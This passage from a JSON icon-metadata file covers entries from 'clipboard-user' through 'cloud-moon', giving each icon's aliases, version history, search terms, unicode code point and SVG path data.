        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM105.8 229.3c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L216 328.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V314.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H158.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM160 416a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "clipboard-user": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7f3"]
      }
    },
    "changes": [
      "5.7.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["attendance", "record", "roster", "staff"]
    },
    "styles": ["solid"],
    "unicode": "f7f3",
    "label": "Clipboard User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM128 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM80 432c0-44.2 35.8-80 80-80h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0c-41.8 0-77.4 26.7-90.5 64H64C28.7 64 0 92.7 0 128V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H282.5C269.4 26.7 233.8 0 192 0zm0 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM128 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM80 432c0-44.2 35.8-80 80-80h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "clock": {
    "aliases": {
      "names": ["clock-four"],
      "unicodes": {
        "composite": ["1f553"],
        "secondary": ["10f017"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.12.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "00",
        "4",
        "4:00",
        "clock",
        "date",
        "four",
        "four o’clock",
        "hour",
        "late",
        "minute",
        "o'clock",
        "o’clock",
        "schedule",
        "ticking",
        "time",
        "timer",
        "timestamp",
        "watch"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f017",
    "label": "Clock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a256 256 0 1 1 0 512A256 256 0 1 1 256 0zM232 120V256c0 8 4 15.5 10.7 20l96 64c11 7.4 25.9 4.4 33.3-6.7s4.4-25.9-6.7-33.3L280 243.2V120c0-13.3-10.7-24-24-24s-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a256 256 0 1 1 0 512A256 256 0 1 1 256 0zM232 120V256c0 8 4 15.5 10.7 20l96 64c11 7.4 25.9 4.4 33.3-6.7s4.4-25.9-6.7-33.3L280 243.2V120c0-13.3-10.7-24-24-24s-24 10.7-24 24z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM232 120V256c0 8 4 15.5 10.7 20l96 64c11 7.4 25.9 4.4 33.3-6.7s4.4-25.9-6.7-33.3L280 243.2V120c0-13.3-10.7-24-24-24s-24 10.7-24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM232 120V256c0 8 4 15.5 10.7 20l96 64c11 7.4 25.9 4.4 33.3-6.7s4.4-25.9-6.7-33.3L280 243.2V120c0-13.3-10.7-24-24-24s-24 10.7-24 24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "clock-rotate-left": {
    "aliases": {
      "names": ["history"],
      "unicodes": {
        "secondary": ["10f1da"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Rewind",
        "clock",
        "reverse",
        "time",
        "time machine",
        "time travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1da",
    "label": "Clock Rotate Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M75 75L41 41C25.9 25.9 0 36.6 0 57.9V168c0 13.3 10.7 24 24 24H134.1c21.4 0 32.1-25.9 17-41l-30.8-30.8C155 85.5 203 64 256 64c106 0 192 86 192 192s-86 192-192 192c-40.8 0-78.6-12.7-109.7-34.4c-14.5-10.1-34.4-6.6-44.6 7.9s-6.6 34.4 7.9 44.6C151.2 495 201.7 512 256 512c141.4 0 256-114.6 256-256S397.4 0 256 0C185.3 0 121.3 28.7 75 75zm181 53c-13.3 0-24 10.7-24 24V256c0 6.4 2.5 12.5 7 17l72 72c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-65-65V152c0-13.3-10.7-24-24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M75 75L41 41C25.9 25.9 0 36.6 0 57.9V168c0 13.3 10.7 24 24 24H134.1c21.4 0 32.1-25.9 17-41l-30.8-30.8C155 85.5 203 64 256 64c106 0 192 86 192 192s-86 192-192 192c-40.8 0-78.6-12.7-109.7-34.4c-14.5-10.1-34.4-6.6-44.6 7.9s-6.6 34.4 7.9 44.6C151.2 495 201.7 512 256 512c141.4 0 256-114.6 256-256S397.4 0 256 0C185.3 0 121.3 28.7 75 75zm181 53c-13.3 0-24 10.7-24 24V256c0 6.4 2.5 12.5 7 17l72 72c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-65-65V152c0-13.3-10.7-24-24-24z"
      }
    },
    "free": ["solid"]
  },
  "clone": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f24d"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "copy", "duplicate", "paste"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f24d",
    "label": "Clone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 448H64V224h64V160H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H288c35.3 0 64-28.7 64-64V384H288v64zm-64-96H448c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H224c-35.3 0-64 28.7-64 64V288c0 35.3 28.7 64 64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 448H64V224h64V160H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H288c35.3 0 64-28.7 64-64V384H288v64zm-64-96H448c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H224c-35.3 0-64 28.7-64 64V288c0 35.3 28.7 64 64 64z"
      },
      "regular": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 464H288c8.8 0 16-7.2 16-16V384h48v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h64v48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM224 304H448c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16V288c0 8.8 7.2 16 16 16zm-64-16V64c0-35.3 28.7-64 64-64H448c35.3 0 64 28.7 64 64V288c0 35.3-28.7 64-64 64H224c-35.3 0-64-28.7-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 464H288c8.8 0 16-7.2 16-16V384h48v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h64v48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM224 304H448c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16V288c0 8.8 7.2 16 16 16zm-64-16V64c0-35.3 28.7-64 64-64H448c35.3 0 64 28.7 64 64V288c0 35.3-28.7 64-64 64H224c-35.3 0-64-28.7-64-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "closed-captioning": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f20a"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cc",
        "deaf",
        "hearing",
        "subtitle",
        "subtitling",
        "text",
        "video"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f20a",
    "label": "Closed Captioning",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM200 208c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48s21.5-48 48-48zm144 48c0-26.5 21.5-48 48-48c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM200 208c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48s21.5-48 48-48zm144 48c0-26.5 21.5-48 48-48c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48z"
      },
      "regular": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M512 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H512zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM200 208c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48s21.5-48 48-48zm144 48c0-26.5 21.5-48 48-48c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M512 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H512zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM200 208c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48s21.5-48 48-48zm144 48c0-26.5 21.5-48 48-48c14.2 0 27 6.1 35.8 16c8.8 9.9 24 10.7 33.9 1.9s10.7-24 1.9-33.9c-17.5-19.6-43.1-32-71.5-32c-53 0-96 43-96 96s43 96 96 96c28.4 0 54-12.4 71.5-32c8.8-9.9 8-25-1.9-33.9s-25-8-33.9 1.9c-8.8 9.9-21.6 16-35.8 16c-26.5 0-48-21.5-48-48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "cloud": {
    "aliases": {
      "unicodes": {
        "composite": ["2601"],
        "secondary": ["10f0c2"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "atmosphere",
        "cloud",
        "fog",
        "overcast",
        "save",
        "upload",
        "weather"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c2",
    "label": "Cloud",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 336c0 79.5 64.5 144 144 144H512c70.7 0 128-57.3 128-128c0-61.9-44-113.6-102.4-125.4c4.1-10.7 6.4-22.4 6.4-34.6c0-53-43-96-96-96c-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32C167.6 32 96 103.6 96 192c0 2.7 .1 5.4 .2 8.1C40.2 219.8 0 273.2 0 336z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 336c0 79.5 64.5 144 144 144H512c70.7 0 128-57.3 128-128c0-61.9-44-113.6-102.4-125.4c4.1-10.7 6.4-22.4 6.4-34.6c0-53-43-96-96-96c-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32C167.6 32 96 103.6 96 192c0 2.7 .1 5.4 .2 8.1C40.2 219.8 0 273.2 0 336z"
      }
    },
    "free": ["solid"]
  },
  "cloud-arrow-down": {
    "aliases": {
      "names": ["cloud-download", "cloud-download-alt"],
      "unicodes": {
        "composite": ["f381"],
        "primary": ["f381"],
        "secondary": ["10f0ed", "10f381"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["download", "export", "save"]
    },
    "styles": ["solid"],
    "unicode": "f0ed",
    "label": "Cloud Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 480C64.5 480 0 415.5 0 336c0-62.8 40.2-116.2 96.2-135.9c-.1-2.7-.2-5.4-.2-8.1c0-88.4 71.6-160 160-160c59.3 0 111 32.2 138.7 80.2C409.9 102 428.3 96 448 96c53 0 96 43 96 96c0 12.2-2.3 23.8-6.4 34.6C596 238.4 640 290.1 640 352c0 70.7-57.3 128-128 128H144zm79-167l80 80c9.4 9.4 24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-39 39V184c0-13.3-10.7-24-24-24s-24 10.7-24 24V318.1l-39-39c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 480C64.5 480 0 415.5 0 336c0-62.8 40.2-116.2 96.2-135.9c-.1-2.7-.2-5.4-.2-8.1c0-88.4 71.6-160 160-160c59.3 0 111 32.2 138.7 80.2C409.9 102 428.3 96 448 96c53 0 96 43 96 96c0 12.2-2.3 23.8-6.4 34.6C596 238.4 640 290.1 640 352c0 70.7-57.3 128-128 128H144zm79-167l80 80c9.4 9.4 24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-39 39V184c0-13.3-10.7-24-24-24s-24 10.7-24 24V318.1l-39-39c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9z"
      }
    },
    "free": ["solid"]
  },
  "cloud-arrow-up": {
    "aliases": {
      "names": ["cloud-upload", "cloud-upload-alt"],
      "unicodes": {
        "composite": ["f382"],
        "primary": ["f382"],
        "secondary": ["10f0ee", "10f382"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["import", "save", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f0ee",
    "label": "Cloud Arrow Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 480C64.5 480 0 415.5 0 336c0-62.8 40.2-116.2 96.2-135.9c-.1-2.7-.2-5.4-.2-8.1c0-88.4 71.6-160 160-160c59.3 0 111 32.2 138.7 80.2C409.9 102 428.3 96 448 96c53 0 96 43 96 96c0 12.2-2.3 23.8-6.4 34.6C596 238.4 640 290.1 640 352c0 70.7-57.3 128-128 128H144zm79-217c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V392c0 13.3 10.7 24 24 24s24-10.7 24-24V257.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-9.4-9.4-24.6-9.4-33.9 0l-80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 480C64.5 480 0 415.5 0 336c0-62.8 40.2-116.2 96.2-135.9c-.1-2.7-.2-5.4-.2-8.1c0-88.4 71.6-160 160-160c59.3 0 111 32.2 138.7 80.2C409.9 102 428.3 96 448 96c53 0 96 43 96 96c0 12.2-2.3 23.8-6.4 34.6C596 238.4 640 290.1 640 352c0 70.7-57.3 128-128 128H144zm79-217c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V392c0 13.3 10.7 24 24 24s24-10.7 24-24V257.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-9.4-9.4-24.6-9.4-33.9 0l-80 80z"
      }
    },
    "free": ["solid"]
  },
  "cloud-bolt": {
    "aliases": {
      "names": ["thunderstorm"],
      "unicodes": {
        "composite": ["1f329"],
        "secondary": ["10f76c"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bolt",
        "cloud",
        "cloud with lightning",
        "lightning",
        "precipitation",
        "rain",
        "storm",
        "weather"
      ]
    },
    "styles": ["solid"],
    "unicode": "f76c",
    "label": "Cloud Bolt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224c0 53 43 96 96 96h47.2L290 202.5c17.6-14.1 42.6-14 60.2 .2s22.8 38.6 12.8 58.8L333.7 320H352h64c53 0 96-43 96-96s-43-96-96-96c-.5 0-1.1 0-1.6 0c1.1-5.2 1.6-10.5 1.6-16c0-44.2-35.8-80-80-80c-24.3 0-46.1 10.9-60.8 28C256.5 24.3 219.1 0 176 0C114.1 0 64 50.1 64 112c0 7.1 .7 14.1 1.9 20.8C27.6 145.4 0 181.5 0 224zm330.1 3.6c-5.8-4.7-14.2-4.7-20.1-.1l-160 128c-5.3 4.2-7.4 11.4-5.1 17.8s8.3 10.7 15.1 10.7h70.1L177.7 488.8c-3.4 6.7-1.6 14.9 4.3 19.6s14.2 4.7 20.1 .1l160-128c5.3-4.2 7.4-11.4 5.1-17.8s-8.3-10.7-15.1-10.7H281.9l52.4-104.8c3.4-6.7 1.6-14.9-4.2-19.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224c0 53 43 96 96 96h47.2L290 202.5c17.6-14.1 42.6-14 60.2 .2s22.8 38.6 12.8 58.8L333.7 320H352h64c53 0 96-43 96-96s-43-96-96-96c-.5 0-1.1 0-1.6 0c1.1-5.2 1.6-10.5 1.6-16c0-44.2-35.8-80-80-80c-24.3 0-46.1 10.9-60.8 28C256.5 24.3 219.1 0 176 0C114.1 0 64 50.1 64 112c0 7.1 .7 14.1 1.9 20.8C27.6 145.4 0 181.5 0 224zm330.1 3.6c-5.8-4.7-14.2-4.7-20.1-.1l-160 128c-5.3 4.2-7.4 11.4-5.1 17.8s8.3 10.7 15.1 10.7h70.1L177.7 488.8c-3.4 6.7-1.6 14.9 4.3 19.6s14.2 4.7 20.1 .1l160-128c5.3-4.2 7.4-11.4 5.1-17.8s-8.3-10.7-15.1-10.7H281.9l52.4-104.8c3.4-6.7 1.6-14.9-4.2-19.6z"
      }
    },
    "free": ["solid"]
  },
  "cloud-meatball": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f73b"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["FLDSMDFR", "food", "spaghetti", "storm"]
    },
    "styles": ["solid"],
    "unicode": "f73b",
    "label": "Cloud Meatball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224c0 53 43 96 96 96h44.7c9.5-23.5 32.5-40 59.3-40c2 0 3.9 .1 5.8 .3C217.6 265.5 235.7 256 256 256s38.4 9.5 50.2 24.3c1.9-.2 3.9-.3 5.8-.3c26.9 0 49.9 16.5 59.3 40H416c53 0 96-43 96-96s-43-96-96-96c-.5 0-1.1 0-1.6 0c1.1-5.2 1.6-10.5 1.6-16c0-44.2-35.8-80-80-80c-24.3 0-46.1 10.9-60.8 28C256.5 24.3 219.1 0 176 0C114.1 0 64 50.1 64 112c0 7.1 .7 14.1 1.9 20.8C27.6 145.4 0 181.5 0 224zm288 96c0-17.7-14.3-32-32-32s-32 14.3-32 32c0 1 .1 2.1 .1 3.1c-.7-.8-1.4-1.6-2.1-2.3c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3c.7 .7 1.5 1.4 2.3 2.1c-1-.1-2.1-.1-3.1-.1c-17.7 0-32 14.3-32 32s14.3 32 32 32c1 0 2.1-.1 3.1-.1c-.8 .7-1.6 1.3-2.3 2.1c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0c.7-.7 1.4-1.5 2.1-2.3c-.1 1-.1 2.1-.1 3.1c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1-.1-2.1-.1-3.1c.7 .8 1.3 1.6 2.1 2.3c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3c-.7-.7-1.5-1.4-2.3-2.1c1 .1 2.1 .1 3.1 .1c17.7 0 32-14.3 32-32s-14.3-32-32-32c-1 0-2.1 .1-3.1 .1c.8-.7 1.6-1.3 2.3-2.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-.7 .7-1.4 1.5-2.1 2.3c.1-1 .1-2.1 .1-3.1zM48 448a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm416 0a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224c0 53 43 96 96 96h44.7c9.5-23.5 32.5-40 59.3-40c2 0 3.9 .1 5.8 .3C217.6 265.5 235.7 256 256 256s38.4 9.5 50.2 24.3c1.9-.2 3.9-.3 5.8-.3c26.9 0 49.9 16.5 59.3 40H416c53 0 96-43 96-96s-43-96-96-96c-.5 0-1.1 0-1.6 0c1.1-5.2 1.6-10.5 1.6-16c0-44.2-35.8-80-80-80c-24.3 0-46.1 10.9-60.8 28C256.5 24.3 219.1 0 176 0C114.1 0 64 50.1 64 112c0 7.1 .7 14.1 1.9 20.8C27.6 145.4 0 181.5 0 224zm288 96c0-17.7-14.3-32-32-32s-32 14.3-32 32c0 1 .1 2.1 .1 3.1c-.7-.8-1.4-1.6-2.1-2.3c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3c.7 .7 1.5 1.4 2.3 2.1c-1-.1-2.1-.1-3.1-.1c-17.7 0-32 14.3-32 32s14.3 32 32 32c1 0 2.1-.1 3.1-.1c-.8 .7-1.6 1.3-2.3 2.1c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0c.7-.7 1.4-1.5 2.1-2.3c-.1 1-.1 2.1-.1 3.1c0 17.7 14.3 32 32 32s32-14.3 32-32c0-1-.1-2.1-.1-3.1c.7 .8 1.3 1.6 2.1 2.3c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3c-.7-.7-1.5-1.4-2.3-2.1c1 .1 2.1 .1 3.1 .1c17.7 0 32-14.3 32-32s-14.3-32-32-32c-1 0-2.1 .1-3.1 .1c.8-.7 1.6-1.3 2.3-2.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-.7 .7-1.4 1.5-2.1 2.3c.1-1 .1-2.1 .1-3.1zM48 448a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm416 0a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "cloud-moon": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6c3"]
      }
    },
    "changes": ["5.4.0", "5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["crescent", "evening", "lunar", "night", "partly cloudy", "sky"]
    },
    "styles": ["solid"],
    "unicode": "f6c3",
    "label": "Cloud Moon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
